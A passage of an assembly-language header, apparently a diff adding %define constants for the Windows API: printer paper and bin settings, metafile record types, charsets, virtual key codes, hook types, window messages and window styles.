+%define DMPAPER_LETTERSMALL 2 +%define DMPAPER_TABLOID 3 +%define DMPAPER_LEDGER 4 +%define DMPAPER_LEGAL 5 +%define DMPAPER_STATEMENT 6 +%define DMPAPER_EXECUTIVE 7 +%define DMPAPER_A3 8 +%define DMPAPER_A4 9 +%define DMPAPER_A4SMALL 10 +%define DMPAPER_A5 11 +%define DMPAPER_B4 12 +%define DMPAPER_B5 13 +%define DMPAPER_FOLIO 14 +%define DMPAPER_QUARTO 15 +%define DMPAPER_10X14 16 +%define DMPAPER_11X17 17 +%define DMPAPER_NOTE 18 +%define DMPAPER_ENV_9 19 +%define DMPAPER_ENV_10 20 +%define DMPAPER_ENV_11 21 +%define DMPAPER_ENV_12 22 +%define DMPAPER_ENV_14 23 +%define DMPAPER_CSHEET 24 +%define DMPAPER_DSHEET 25 +%define DMPAPER_ESHEET 26 +%define DMPAPER_ENV_DL 27 +%define DMPAPER_ENV_C5 28 +%define DMPAPER_ENV_C3 29 +%define DMPAPER_ENV_C4 30 +%define DMPAPER_ENV_C6 31 +%define DMPAPER_ENV_C65 32 +%define DMPAPER_ENV_B4 33 +%define DMPAPER_ENV_B5 34 +%define DMPAPER_ENV_B6 35 +%define DMPAPER_ENV_ITALY 36 +%define DMPAPER_ENV_MONARCH 37 +%define DMPAPER_ENV_PERSONAL 38 +%define DMPAPER_FANFOLD_US 39 +%define DMPAPER_FANFOLD_STD_GERMAN 40 +%define DMPAPER_FANFOLD_LGL_GERMAN 41 +%define DMPAPER_LAST DMPAPER_FANFOLD_LGL_GERMAN +%define DMPAPER_USER 256 +%define DMBIN_UPPER 1 +%define DMBIN_FIRST DMBIN_UPPER +%define DMBIN_ONLYONE 1 +%define DMBIN_LOWER 2 +%define DMBIN_MIDDLE 3 +%define DMBIN_MANUAL 4 +%define DMBIN_ENVELOPE 5 +%define DMBIN_ENVMANUAL 6 +%define DMBIN_AUTO 7 +%define DMBIN_TRACTOR 8 +%define DMBIN_SMALLFMT 9 +%define DMBIN_LARGEFMT 10 +%define DMBIN_LARGECAPACITY 11 +%define DMBIN_CASSETTE 14 +%define DMBIN_LAST DMBIN_CASSETTE +%define DMBIN_USER 256 +%define DMRES_DRAFT -1 +%define DMRES_LOW -2 +%define DMRES_MEDIUM -3 +%define DMRES_HIGH -4 +%define DMCOLOR_MONOCHROME 1 +%define DMCOLOR_COLOR 2 +%define DMDUP_SIMPLEX 1 +%define DMDUP_VERTICAL 2 +%define DMDUP_HORIZONTAL 3 +%define DMTT_BITMAP 1 +%define DMTT_DOWNLOAD 2 +%define DMTT_SUBDEV 3 +%define DMCOLLATE_FALSE 0 +%define DMCOLLATE_TRUE 1 +%define DM_GRAYSCALE 1h +%define DM_INTERLACED 2h +%define RDH_RECTANGLES 1 +%define GGO_METRICS 0 +%define GGO_BITMAP 1 +%define GGO_NATIVE 2 +%define TT_POLYGON_TYPE 24 +%define TT_PRIM_LINE 1 +%define TT_PRIM_QSPLINE 2 +%define TT_AVAILABLE 1h +%define TT_ENABLED 2h +%define DM_UPDATE 1 +%define DM_COPY 2 +%define DM_PROMPT 4 +%define DM_MODIFY 8 +%define DM_IN_BUFFER DM_MODIFY +%define DM_IN_PROMPT DM_PROMPT +%define DM_OUT_BUFFER DM_COPY +%define DM_OUT_DEFAULT DM_UPDATE +%define DC_FIELDS 1 +%define DC_PAPERS 2 +%define DC_PAPERSIZE 3 +%define DC_MINEXTENT 4 +%define DC_MAXEXTENT 5 +%define DC_BINS 6 +%define DC_DUPLEX 7 +%define DC_SIZE 8 +%define DC_EXTRA 9 +%define DC_VERSION 10 +%define DC_DRIVER 11 +%define DC_BINNAMES 12 +%define DC_ENUMRESOLUTIONS 13 +%define DC_FILEDEPENDENCIES 14 +%define DC_TRUETYPE 15 +%define DC_PAPERNAMES 16 +%define DC_ORIENTATION 17 +%define DC_COPIES 18 +%define DCTT_BITMAP 1h +%define DCTT_DOWNLOAD 2h +%define DCTT_SUBDEV 4h +%define CA_NEGATIVE 1h +%define CA_LOG_FILTER 2h +%define ILLUMINANT_DEVICE_DEFAULT 0 +%define ILLUMINANT_A 1 +%define ILLUMINANT_B 2 +%define ILLUMINANT_C 3 +%define ILLUMINANT_D50 4 +%define ILLUMINANT_D55 5 +%define ILLUMINANT_D65 6 +%define ILLUMINANT_D75 7 +%define ILLUMINANT_F2 8 +%define ILLUMINANT_MAX_INDEX ILLUMINANT_F2 +%define ILLUMINANT_TUNGSTEN ILLUMINANT_A +%define ILLUMINANT_DAYLIGHT ILLUMINANT_C +%define ILLUMINANT_FLUORESCENT ILLUMINANT_F2 +%define ILLUMINANT_NTSC ILLUMINANT_C +%define RGB_GAMMA_MIN 2500 +%define RGB_GAMMA_MAX 65000 +%define REFERENCE_WHITE_MIN 6000 +%define REFERENCE_WHITE_MAX 10000 +%define REFERENCE_BLACK_MIN 0 +%define REFERENCE_BLACK_MAX 4000 +%define COLOR_ADJ_MIN -100 +%define COLOR_ADJ_MAX 100 +%define FONTMAPPER_MAX 10 +%define ENHMETA_SIGNATURE 464D4520h +%define ENHMETA_STOCK_OBJECT 80000000h +%define EMR_HEADER 1 +%define EMR_POLYBEZIER 2 +%define EMR_POLYGON 3 +%define EMR_POLYLINE 4 +%define EMR_POLYBEZIERTO 5 +%define EMR_POLYLINETO 6 +%define EMR_POLYPOLYLINE 7 +%define EMR_POLYPOLYGON 8 +%define EMR_SETWINDOWEXTEX 9 +%define EMR_SETWINDOWORGEX 10 +%define EMR_SETVIEWPORTEXTEX 11 +%define EMR_SETVIEWPORTORGEX 12 +%define EMR_SETBRUSHORGEX 13 +%define EMR_EOF 14 +%define EMR_SETPIXELV 15 +%define EMR_SETMAPPERFLAGS 16 +%define EMR_SETMAPMODE 17 +%define EMR_SETBKMODE 18 +%define EMR_SETPOLYFILLMODE 19 +%define EMR_SETROP2 20 +%define EMR_SETSTRETCHBLTMODE 21 +%define EMR_SETTEXTALIGN 22 +%define EMR_SETCOLORADJUSTMENT 23 +%define EMR_SETTEXTCOLOR 24 +%define EMR_SETBKCOLOR 25 +%define EMR_OFFSETCLIPRGN 26 +%define EMR_MOVETOEX 27 +%define EMR_SETMETARGN 28 +%define EMR_EXCLUDECLIPRECT 29 +%define EMR_INTERSECTCLIPRECT 30 +%define EMR_SCALEVIEWPORTEXTEX 31 +%define EMR_SCALEWINDOWEXTEX 32 +%define EMR_SAVEDC 33 +%define EMR_RESTOREDC 34 +%define EMR_SETWORLDTRANSFORM 35 +%define EMR_MODIFYWORLDTRANSFORM 36 +%define EMR_SELECTOBJECT 37 +%define EMR_CREATEPEN 38 +%define EMR_CREATEBRUSHINDIRECT 39 +%define EMR_DELETEOBJECT 40 +%define EMR_ANGLEARC 41 +%define EMR_ELLIPSE 42 +%define EMR_RECTANGLE 43 +%define EMR_ROUNDRECT 44 +%define EMR_ARC 45 +%define EMR_CHORD 46 +%define EMR_PIE 47 +%define EMR_SELECTPALETTE 48 +%define EMR_CREATEPALETTE 49 +%define EMR_SETPALETTEENTRIES 50 +%define EMR_RESIZEPALETTE 51 +%define EMR_REALIZEPALETTE 52 +%define EMR_EXTFLOODFILL 53 +%define EMR_LINETO 54 +%define EMR_ARCTO 55 +%define EMR_POLYDRAW 56 +%define EMR_SETARCDIRECTION 57 +%define EMR_SETMITERLIMIT 58 +%define EMR_BEGINPATH 59 +%define EMR_ENDPATH 60 +%define EMR_CLOSEFIGURE 61 +%define EMR_FILLPATH 62 +%define EMR_STROKEANDFILLPATH 63 +%define EMR_STROKEPATH 64 +%define EMR_FLATTENPATH 65 +%define EMR_WIDENPATH 66 +%define EMR_SELECTCLIPPATH 67 +%define EMR_ABORTPATH 68 +%define EMR_GDICOMMENT 70 +%define EMR_FILLRGN 71 +%define EMR_FRAMERGN 72 +%define EMR_INVERTRGN 73 +%define EMR_PAINTRGN 74 +%define EMR_EXTSELECTCLIPRGN 75 +%define EMR_BITBLT 76 +%define EMR_STRETCHBLT 77 +%define EMR_MASKBLT 78 +%define EMR_PLGBLT 79 +%define EMR_SETDIBITSTODEVICE 80 +%define EMR_STRETCHDIBITS 81 +%define EMR_EXTCREATEFONTINDIRECTW 82 +%define EMR_EXTTEXTOUTA 83 +%define EMR_EXTTEXTOUTW 84 +%define EMR_POLYBEZIER16 85 +%define EMR_POLYGON16 86 +%define EMR_POLYLINE16 87 +%define EMR_POLYBEZIERTO16 88 +%define EMR_POLYLINETO16 89 +%define EMR_POLYPOLYLINE16 90 +%define EMR_POLYPOLYGON16 91 +%define EMR_POLYDRAW16 92 +%define EMR_CREATEMONOBRUSH 93 +%define EMR_CREATEDIBPATTERNBRUSHPT 94 +%define EMR_EXTCREATEPEN 95 +%define EMR_POLYTEXTOUTA 96 +%define EMR_POLYTEXTOUTW 97 +%define EMR_MIN 1 +%define EMR_MAX 97 +%define STRETCH_ANDSCANS 1 +%define STRETCH_ORSCANS 2 +%define STRETCH_DELETESCANS 3 +%define STRETCH_HALFTONE 4 +%define TCI_SRCCHARSET 1 +%define TCI_SRCCODEPAGE 2 +%define TCI_SRCFONTSIG 3 +%define MONO_FONT 8 +%define JOHAB_CHARSET 130 +%define HEBREW_CHARSET 177 +%define ARABIC_CHARSET 178 +%define GREEK_CHARSET 161 +%define TURKISH_CHARSET 162 +%define THAI_CHARSET 222 +%define EASTEUROPE_CHARSET 238 +%define RUSSIAN_CHARSET 204 +%define MAC_CHARSET 77 +%define BALTIC_CHARSET 186 +%define FS_LATIN1 1h +%define FS_LATIN2 2h +%define FS_CYRILLIC 4h +%define FS_GREEK 8h +%define FS_TURKISH 10h +%define FS_HEBREW 20h +%define FS_ARABIC 40h +%define FS_BALTIC 80h +%define FS_THAI 10000h +%define FS_JISJAPAN 20000h +%define FS_CHINESESIMP 40000h +%define FS_WANSUNG 80000h +%define FS_CHINESETRAD 100000h +%define FS_JOHAB 200000h +%define FS_SYMBOL 80000000h +%define DEFAULT_GUI_FONT 17 +%define DM_RESERVED1 800000h +%define DM_RESERVED2 1000000h +%define DM_ICMMETHOD 2000000h +%define DM_ICMINTENT 4000000h +%define DM_MEDIATYPE 8000000h +%define DM_DITHERTYPE 10000000h +%define DMPAPER_ISO_B4 42 +%define DMPAPER_JAPANESE_POSTCARD 43 +%define DMPAPER_9X11 44 +%define DMPAPER_10X11 45 +%define DMPAPER_15X11 46 +%define DMPAPER_ENV_INVITE 47 +%define DMPAPER_RESERVED_48 48 +%define DMPAPER_RESERVED_49 49 +%define DMPAPER_LETTER_EXTRA 50 +%define DMPAPER_LEGAL_EXTRA 51 +%define DMPAPER_TABLOID_EXTRA 52 +%define DMPAPER_A4_EXTRA 53 +%define DMPAPER_LETTER_TRANSVERSE 54 +%define DMPAPER_A4_TRANSVERSE 55 +%define DMPAPER_LETTER_EXTRA_TRANSVERSE 56 +%define DMPAPER_A_PLUS 57 +%define DMPAPER_B_PLUS 58 +%define DMPAPER_LETTER_PLUS 59 +%define DMPAPER_A4_PLUS 60 +%define DMPAPER_A5_TRANSVERSE 61 +%define DMPAPER_B5_TRANSVERSE 62 +%define DMPAPER_A3_EXTRA 63 +%define DMPAPER_A5_EXTRA 64 +%define DMPAPER_B5_EXTRA 65 +%define DMPAPER_A2 66 +%define DMPAPER_A3_TRANSVERSE 67 +%define DMPAPER_A3_EXTRA_TRANSVERSE 68 +%define DMTT_DOWNLOAD_OUTLINE 4 +%define DMICMMETHOD_NONE 1 +%define DMICMMETHOD_SYSTEM 2 +%define DMICMMETHOD_DRIVER 3 +%define DMICMMETHOD_DEVICE 4 +%define DMICMMETHOD_USER 256 +%define DMICM_SATURATE 1 +%define DMICM_CONTRAST 2 +%define DMICM_COLORMETRIC 3 +%define DMICM_USER 256 +%define DMMEDIA_STANDARD 1 +%define DMMEDIA_GLOSSY 2 +%define DMMEDIA_TRANSPARENCY 3 +%define DMMEDIA_USER 256 +%define DMDITHER_NONE 1 +%define DMDITHER_COARSE 2 +%define DMDITHER_FINE 3 +%define DMDITHER_LINEART 4 +%define DMDITHER_GRAYSCALE 5 +%define DMDITHER_USER 256 +%define GGO_GRAY2_BITMAP 4 +%define GGO_GRAY4_BITMAP 5 +%define GGO_GRAY8_BITMAP 6 +%define GGO_GLYPH_INDEX 80h +%define GCP_DBCS 1h +%define GCP_REORDER 2h +%define GCP_USEKERNING 8h +%define GCP_GLYPHSHAPE 10h +%define GCP_LIGATE 20h +%define GCP_DIACRITIC 100h +%define GCP_KASHIDA 400h +%define GCP_ERROR 8000h +%define FLI_MASK 103Bh +%define GCP_JUSTIFY 10000h +%define GCP_NODIACRITICS 20000h +%define FLI_GLYPHS 40000h +%define GCP_CLASSIN 80000h +%define GCP_MAXEXTENT 100000h +%define GCP_JUSTIFYIN 200000h +%define GCP_DISPLAYZWG 400000h +%define GCP_SYMSWAPOFF 800000h +%define GCP_NUMERICOVERRIDE 1000000h +%define GCP_NEUTRALOVERRIDE 2000000h +%define GCP_NUMERICSLATIN 4000000h +%define GCP_NUMERICSLOCAL 8000000h +%define GCPCLASS_LATIN 1 +%define GCPCLASS_HEBREW 2 +%define GCPCLASS_ARABIC 2 +%define GCPCLASS_NEUTRAL 3 +%define GCPCLASS_LOCALNUMBER 4 +%define GCPCLASS_LATINNUMBER 5 +%define GCPCLASS_LATINNUMERICTERMINATOR 6 +%define GCPCLASS_LATINNUMERICSEPARATOR 7 +%define GCPCLASS_NUMERICSEPARATOR 8 +%define GCPCLASS_PREBOUNDRTL 80h +%define GCPCLASS_PREBOUNDLTR 40h +%define DC_BINADJUST 19 +%define DC_EMF_COMPLIANT 20 +%define DC_DATATYPE_PRODUCED 21 +%define DC_COLLATE 22 +%define DCTT_DOWNLOAD_OUTLINE 8h +%define DCBA_FACEUPNONE 0h +%define DCBA_FACEUPCENTER 1h +%define DCBA_FACEUPLEFT 2h +%define DCBA_FACEUPRIGHT 3h +%define DCBA_FACEDOWNNONE 100h +%define DCBA_FACEDOWNCENTER 101h +%define DCBA_FACEDOWNLEFT 102h +%define DCBA_FACEDOWNRIGHT 103h +%define ICM_OFF 1 +%define ICM_ON 2 +%define ICM_QUERY 3 +%define EMR_SETICMMODE 98 +%define EMR_CREATECOLORSPACE 99 +%define EMR_SETCOLORSPACE 100 +%define EMR_DELETECOLORSPACE 101 +%define SB_HORZ 0 +%define SB_VERT 1 +%define SB_CTL 2 +%define SB_BOTH 3 +%define SB_LINEUP 0 +%define SB_LINELEFT 0 +%define SB_LINEDOWN 1 +%define SB_LINERIGHT 1 +%define SB_PAGEUP 2 +%define SB_PAGELEFT 2 +%define SB_PAGEDOWN 3 +%define SB_PAGERIGHT 3 +%define SB_THUMBPOSITION 4 +%define SB_THUMBTRACK 5 +%define SB_TOP 6 +%define SB_LEFT 6 +%define SB_BOTTOM 7 +%define SB_RIGHT 7 +%define SB_ENDSCROLL 8 +%define SBM_SETSCROLLINFO 00E9h +%define SBM_GETSCROLLINFO 00EAh +%define SIF_RANGE 0001h +%define SIF_PAGE 0002h +%define SIF_POS 0004h +%define SIF_DISABLENOSCROLL 0008h +%define SIF_TRACKPOS 0010h +%define SIF_ALL SIF_RANGE|SIF_PAGE|SIF_POS|SIF_TRACKPOS +%define SW_HIDE 0 +%define SW_SHOWNORMAL 1 +%define SW_NORMAL 1 +%define SW_SHOWMINIMIZED 2 +%define SW_SHOWMAXIMIZED 3 +%define SW_MAXIMIZE 3 +%define SW_SHOWNOACTIVATE 4 +%define SW_SHOW 5 +%define SW_MINIMIZE 6 +%define SW_SHOWMINNOACTIVE 7 +%define SW_SHOWNA 8 +%define SW_RESTORE 9 +%define SW_SHOWDEFAULT 10 +%define SW_MAX 10 +%define HIDE_WINDOW 0 +%define SHOW_OPENWINDOW 1 +%define SHOW_ICONWINDOW 2 +%define SHOW_FULLSCREEN 3 +%define SHOW_OPENNOACTIVATE 4 +%define SW_PARENTCLOSING 1 +%define SW_OTHERZOOM 2 +%define SW_PARENTOPENING 3 +%define SW_OTHERUNZOOM 4 +%define KF_EXTENDED 100h +%define KF_DLGMODE 800h +%define KF_MENUMODE 1000h +%define KF_ALTDOWN 2000h +%define KF_REPEAT 4000h +%define KF_UP 8000h +%define VK_BACK 8h +%define VK_CANCEL 3h +%define VK_CAPITAL 14h +%define VK_CLEAR 0Ch +%define VK_CONTROL 11h +%define VK_DELETE 2Eh +%define VK_DOWN 28h +%define VK_END 23h +%define VK_ESCAPE 1Bh +%define VK_EXECUTE 2Bh +%define VK_HELP 2Fh +%define VK_HOME 24h +%define VK_INSERT 2Dh +%define VK_LBUTTON 1h +%define VK_LEFT 25h +%define VK_MBUTTON 4h +%define VK_MENU 12h +%define VK_NEXT 22h +%define VK_PAUSE 13h +%define VK_PGDN 22h +%define VK_PGUP 21h +%define VK_PRINT 2Ah +%define VK_PRIOR 21h +%define VK_RBUTTON 2h +%define VK_RETURN 0Dh +%define VK_RIGHT 27h +%define VK_SELECT 29h +%define VK_SHIFT 10h +%define VK_SNAPSHOT 2Ch +%define VK_SPACE 20h +%define VK_TAB 9h +%define VK_UP 26h +%define VK_NUMPAD0 60h +%define VK_NUMPAD1 61h +%define VK_NUMPAD2 62h +%define VK_NUMPAD3 63h +%define VK_NUMPAD4 64h +%define VK_NUMPAD5 65h +%define VK_NUMPAD6 66h +%define VK_NUMPAD7 67h +%define VK_NUMPAD8 68h +%define VK_NUMPAD9 69h +%define VK_MULTIPLY 6Ah +%define VK_ADD 6Bh +%define VK_SEPARATOR 6Ch +%define VK_SUBTRACT 6Dh +%define VK_DECIMAL 6Eh +%define VK_DIVIDE 6Fh +%define VK_F1 70h +%define VK_F2 71h +%define VK_F3 72h +%define VK_F4 73h +%define VK_F5 74h +%define VK_F6 75h +%define VK_F7 76h +%define VK_F8 77h +%define VK_F9 78h +%define VK_F10 79h +%define VK_F11 7Ah +%define VK_F12 7Bh +%define VK_F13 7Ch +%define VK_F14 7Dh +%define VK_F15 7Eh +%define VK_F16 7Fh +%define VK_F17 80h +%define VK_F18 81h +%define VK_F19 82h +%define VK_F20 83h +%define VK_F21 84h +%define VK_F22 85h +%define VK_F23 86h +%define VK_F24 87h +%define VK_NUMLOCK 90h +%define VK_SCROLL 91h +%define VK_LSHIFT 0A0h +%define VK_RSHIFT 0A1h +%define VK_LCONTROL 0A2h +%define VK_RCONTROL 0A3h +%define VK_LMENU 0A4h +%define VK_RMENU 0A5h +%define VK_ATTN 0F6h +%define VK_CRSEL 0F7h +%define VK_EXSEL 0F8h +%define VK_EREOF 0F9h +%define VK_PLAY 0FAh +%define VK_ZOOM 0FBh +%define VK_NONAME 0FCh +%define VK_PA1 0FDh +%define VK_OEM_CLEAR 0FEh +%define WH_MIN -1 +%define WH_MSGFILTER -1 +%define WH_JOURNALRECORD 0 +%define WH_JOURNALPLAYBACK 1 +%define WH_KEYBOARD 2 +%define WH_GETMESSAGE 3 +%define WH_CALLWNDPROC 4 +%define WH_CBT 5 +%define WH_SYSMSGFILTER 6 +%define WH_MOUSE 7 +%define WH_HARDWARE 8 +%define WH_DEBUG 9 +%define WH_SHELL 10 +%define WH_FOREGROUNDIDLE 11 +%define WH_MAX 11 +%define HC_ACTION 0 +%define HC_GETNEXT 1 +%define HC_SKIP 2 +%define HC_NOREMOVE 3 +%define HC_NOREM HC_NOREMOVE +%define HC_SYSMODALON 4 +%define HC_SYSMODALOFF 5 +%define HCBT_MOVESIZE 0 +%define HCBT_MINMAX 1 +%define HCBT_QS 2 +%define HCBT_CREATEWND 3 +%define HCBT_DESTROYWND 4 +%define HCBT_ACTIVATE 5 +%define HCBT_CLICKSKIPPED 6 +%define HCBT_KEYSKIPPED 7 +%define HCBT_SYSCOMMAND 8 +%define HCBT_SETFOCUS 9 +%define HSHELL_WINDOWCREATED 1 +%define HSHELL_WINDOWDESTROYED 2 +%define HSHELL_ACTIVATESHELLWINDOW 3 +%define HKL_PREV 0 +%define HKL_NEXT 1 +%define KLF_ACTIVATE 1h +%define KLF_SUBSTITUTE_OK 2h +%define KLF_UNLOADPREVIOUS 4h +%define KLF_REORDER 8h +%define KL_NAMELENGTH 9 +%define DESKTOP_READOBJECTS 1h +%define DESKTOP_CREATEWINDOW 2h +%define DESKTOP_CREATEMENU 4h +%define DESKTOP_HOOKCONTROL 8h +%define DESKTOP_JOURNALRECORD 10h +%define DESKTOP_JOURNALPLAYBACK 20h +%define DESKTOP_ENUMERATE 40h +%define DESKTOP_WRITEOBJECTS 80h +%define WINSTA_ENUMDESKTOPS 1h +%define WINSTA_READATTRIBUTES 2h +%define WINSTA_ACCESSCLIPBOARD 4h +%define WINSTA_CREATEDESKTOP 8h +%define WINSTA_WRITEATTRIBUTES 10h +%define WINSTA_ACCESSPUBLICATOMS 20h +%define WINSTA_EXITWINDOWS 40h +%define WINSTA_ENUMERATE 100h +%define WINSTA_READSCREEN 200h +%define GWL_WNDPROC -4 +%define GWL_HINSTANCE -6 +%define GWL_HWNDPARENT -8 +%define GWL_STYLE -16 +%define GWL_EXSTYLE -20 +%define GWL_USERDATA -21 +%define GWL_ID -12 +%define GCL_MENUNAME -8 +%define GCL_HBRBACKGROUND -10 +%define GCL_HCURSOR -12 +%define GCL_HICON -14 +%define GCL_HMODULE -16 +%define GCL_CBWNDEXTRA -18 +%define GCL_CBCLSEXTRA -20 +%define GCL_WNDPROC -24 +%define GCL_STYLE -26 +%define GCW_ATOM -32 +%define WM_USER 400h +%define WM_NULL 0h +%define WM_CREATE 1h +%define WM_DESTROY 2h +%define WM_MOVE 3h +%define WM_SIZE 5h +%define WM_ACTIVATE 6h +%define WA_INACTIVE 0 +%define WA_ACTIVE 1 +%define WA_CLICKACTIVE 2 +%define WM_SETFOCUS 7h +%define WM_KILLFOCUS 08h +%define WM_ENABLE 0Ah +%define WM_SETREDRAW 0Bh +%define WM_SETTEXT 0Ch +%define WM_GETTEXT 0Dh +%define WM_GETTEXTLENGTH 0Eh +%define WM_PAINT 0Fh +%define WM_CLOSE 10h +%define WM_QUERYENDSESSION 11h +%define WM_QUIT 12h +%define WM_QUERYOPEN 13h +%define WM_ERASEBKGND 14h +%define WM_SYSCOLORCHANGE 15h +%define WM_ENDSESSION 16h +%define WM_SHOWWINDOW 18h +%define WM_WININICHANGE 1Ah +%define WM_DEVMODECHANGE 1Bh +%define WM_ACTIVATEAPP 1Ch +%define WM_FONTCHANGE 1Dh +%define WM_TIMECHANGE 1Eh +%define WM_CANCELMODE 1Fh +%define WM_SETCURSOR 20h +%define WM_MOUSEACTIVATE 21h +%define WM_CHILDACTIVATE 22h +%define WM_QUEUESYNC 23h +%define WM_GETMINMAXINFO 24h +%define WM_PAINTICON 26h +%define WM_ICONERASEBKGND 27h +%define WM_NEXTDLGCTL 28h +%define WM_SPOOLERSTATUS 2Ah +%define WM_DRAWITEM 2Bh +%define WM_MEASUREITEM 2Ch +%define WM_DELETEITEM 2Dh +%define WM_VKEYTOITEM 2Eh +%define WM_CHARTOITEM 2Fh +%define WM_SETFONT 30h +%define WM_GETFONT 31h +%define WM_SETHOTKEY 32h +%define WM_GETHOTKEY 33h +%define WM_QUERYDRAGICON 37h +%define WM_COMPAREITEM 39h +%define WM_COMPACTING 41h +%define WM_OTHERWINDOWCREATED 42h +%define WM_OTHERWINDOWDESTROYED 43h +%define WM_COMMNOTIFY 44h +%define CN_RECEIVE 1h +%define CN_TRANSMIT 2h +%define CN_EVENT 4h +%define WM_WINDOWPOSCHANGING 46h +%define WM_WINDOWPOSCHANGED 47h +%define WM_POWER 48h +%define PWR_OK 1 +%define PWR_FAIL -1 +%define PWR_SUSPENDREQUEST 1 +%define PWR_SUSPENDRESUME 2 +%define PWR_CRITICALRESUME 3 +%define WM_COPYDATA 4Ah +%define WM_CANCELJOURNAL 4Bh +%define WM_NOTIFY 4Eh +%define WM_INPUTLANGUAGECHANGEREQUEST 50h +%define WM_INPUTLANGUAGECHANGE 51h +%define WM_TCARD 52h +%define WM_HELP 53h +%define WM_USERCHANGED 54h +%define WM_NOTIFYFORMAT 55h +%define WM_CONTEXTMENU 7Bh +%define WM_STYLECHANGING 7Ch +%define WM_STYLECHANGED 7Dh +%define WM_DISPLAYCHANGE 7Eh +%define WM_GETICON 7Fh +%define WM_SETICON 80h +%define WM_NCCREATE 81h +%define WM_NCDESTROY 82h +%define WM_NCCALCSIZE 83h +%define WM_NCHITTEST 84h +%define WM_NCPAINT 85h +%define WM_NCACTIVATE 86h +%define WM_GETDLGCODE 87h +%define WM_NCMOUSEMOVE 0A0h +%define WM_NCLBUTTONDOWN 0A1h +%define WM_NCLBUTTONUP 0A2h +%define WM_NCLBUTTONDBLCLK 0A3h +%define WM_NCRBUTTONDOWN 0A4h +%define WM_NCRBUTTONUP 0A5h +%define WM_NCRBUTTONDBLCLK 0A6h +%define WM_NCMBUTTONDOWN 0A7h +%define WM_NCMBUTTONUP 0A8h +%define WM_NCMBUTTONDBLCLK 0A9h +%define WM_KEYFIRST 100h +%define WM_KEYDOWN 100h +%define WM_KEYUP 101h +%define WM_CHAR 102h +%define WM_DEADCHAR 103h +%define WM_SYSKEYDOWN 104h +%define WM_SYSKEYUP 105h +%define WM_SYSCHAR 106h +%define WM_SYSDEADCHAR 107h +%define WM_KEYLAST 108h +%define WM_INITDIALOG 110h +%define WM_COMMAND 111h +%define WM_SYSCOMMAND 112h +%define WM_TIMER 113h +%define WM_HSCROLL 114h +%define WM_VSCROLL 115h +%define WM_INITMENU 116h +%define WM_INITMENUPOPUP 117h +%define WM_MENUSELECT 11Fh +%define WM_MENUCHAR 120h +%define WM_ENTERIDLE 121h +%define WM_CTLCOLORMSGBOX 132h +%define WM_CTLCOLOREDIT 133h +%define WM_CTLCOLORLISTBOX 134h +%define WM_CTLCOLORBTN 135h +%define WM_CTLCOLORDLG 136h +%define WM_CTLCOLORSCROLLBAR 137h +%define WM_CTLCOLORSTATIC 138h +%define WM_MOUSEFIRST 200h +%define WM_MOUSEMOVE 200h +%define WM_LBUTTONDOWN 201h +%define WM_LBUTTONUP 202h +%define WM_LBUTTONDBLCLK 203h +%define WM_RBUTTONDOWN 204h +%define WM_RBUTTONUP 205h +%define WM_RBUTTONDBLCLK 206h +%define WM_MBUTTONDOWN 207h +%define WM_MBUTTONUP 208h +%define WM_MBUTTONDBLCLK 209h +%define WM_MOUSELAST 209h +%define WM_PARENTNOTIFY 210h +%define WM_ENTERMENULOOP 211h +%define WM_EXITMENULOOP 212h +%define WM_MDICREATE 220h +%define WM_MDIDESTROY 221h +%define WM_MDIACTIVATE 222h +%define WM_MDIRESTORE 223h +%define WM_MDINEXT 224h +%define WM_MDIMAXIMIZE 225h +%define WM_MDITILE 226h +%define WM_MDICASCADE 227h +%define WM_MDIICONARRANGE 228h +%define WM_MDIGETACTIVE 229h +%define WM_MDISETMENU 230h +%define WM_DROPFILES 233h +%define WM_MDIREFRESHMENU 234h +%define WM_CUT 300h +%define WM_COPY 301h +%define WM_PASTE 302h +%define WM_CLEAR 303h +%define WM_UNDO 304h +%define WM_RENDERFORMAT 305h +%define WM_RENDERALLFORMATS 306h +%define WM_DESTROYCLIPBOARD 307h +%define WM_DRAWCLIPBOARD 308h +%define WM_PAINTCLIPBOARD 309h +%define WM_VSCROLLCLIPBOARD 30Ah +%define WM_SIZECLIPBOARD 30Bh +%define WM_ASKCBFORMATNAME 30Ch +%define WM_CHANGECBCHAIN 30Dh +%define WM_HSCROLLCLIPBOARD 30Eh +%define WM_QUERYNEWPALETTE 30Fh +%define WM_PALETTEISCHANGING 310h +%define WM_PALETTECHANGED 311h +%define WM_HOTKEY 312h +%define WM_PRINTCLIENT 318h +%define WM_PENWINFIRST 380h +%define WM_PENWINLAST 38Fh +%define ST_BEGINSWP 0 +%define ST_ENDSWP 1 +%define HTERROR -2 +%define HTTRANSPARENT -1 +%define HTNOWHERE 0 +%define HTCLIENT 1 +%define HTCAPTION 2 +%define HTSYSMENU 3 +%define HTGROWBOX 4 +%define HTSIZE HTGROWBOX +%define HTMENU 5 +%define HTHSCROLL 6 +%define HTVSCROLL 7 +%define HTMINBUTTON 8 +%define HTMAXBUTTON 9 +%define HTLEFT 10 +%define HTRIGHT 11 +%define HTTOP 12 +%define HTTOPLEFT 13 +%define HTTOPRIGHT 14 +%define HTBOTTOM 15 +%define HTBOTTOMLEFT 16 +%define HTBOTTOMRIGHT 17 +%define HTBORDER 18 +%define HTREDUCE HTMINBUTTON +%define HTZOOM HTMAXBUTTON +%define HTSIZEFIRST HTLEFT +%define HTSIZELAST HTBOTTOMRIGHT +%define SMTO_NORMAL 0h +%define SMTO_BLOCK 1h +%define SMTO_ABORTIFHUNG 2h +%define MA_ACTIVATE 1 +%define MA_ACTIVATEANDEAT 2 +%define MA_NOACTIVATE 3 +%define MA_NOACTIVATEANDEAT 4 +%define SIZE_RESTORED 0 +%define SIZE_MINIMIZED 1 +%define SIZE_MAXIMIZED 2 +%define SIZE_MAXSHOW 3 +%define SIZE_MAXHIDE 4 +%define SIZENORMAL SIZE_RESTORED +%define SIZEICONIC SIZE_MINIMIZED +%define SIZEFULLSCREEN SIZE_MAXIMIZED +%define SIZEZOOMSHOW SIZE_MAXSHOW +%define SIZEZOOMHIDE SIZE_MAXHIDE +%define WVR_ALIGNTOP 10h +%define WVR_ALIGNLEFT 20h +%define WVR_ALIGNBOTTOM 40h +%define WVR_ALIGNRIGHT 80h +%define WVR_HREDRAW 100h +%define WVR_VREDRAW 200h +%define WVR_REDRAW WVR_HREDRAW|WVR_VREDRAW +%define WVR_VALIDRECTS 400h +%define MK_LBUTTON 1h +%define MK_RBUTTON 2h +%define MK_SHIFT 4h +%define MK_CONTROL 8h +%define MK_MBUTTON 10h +%define WS_OVERLAPPED 0h +%define WS_POPUP 80000000h +%define WS_CHILD 40000000h +%define WS_MINIMIZE 20000000h +%define WS_VISIBLE 10000000h +%define 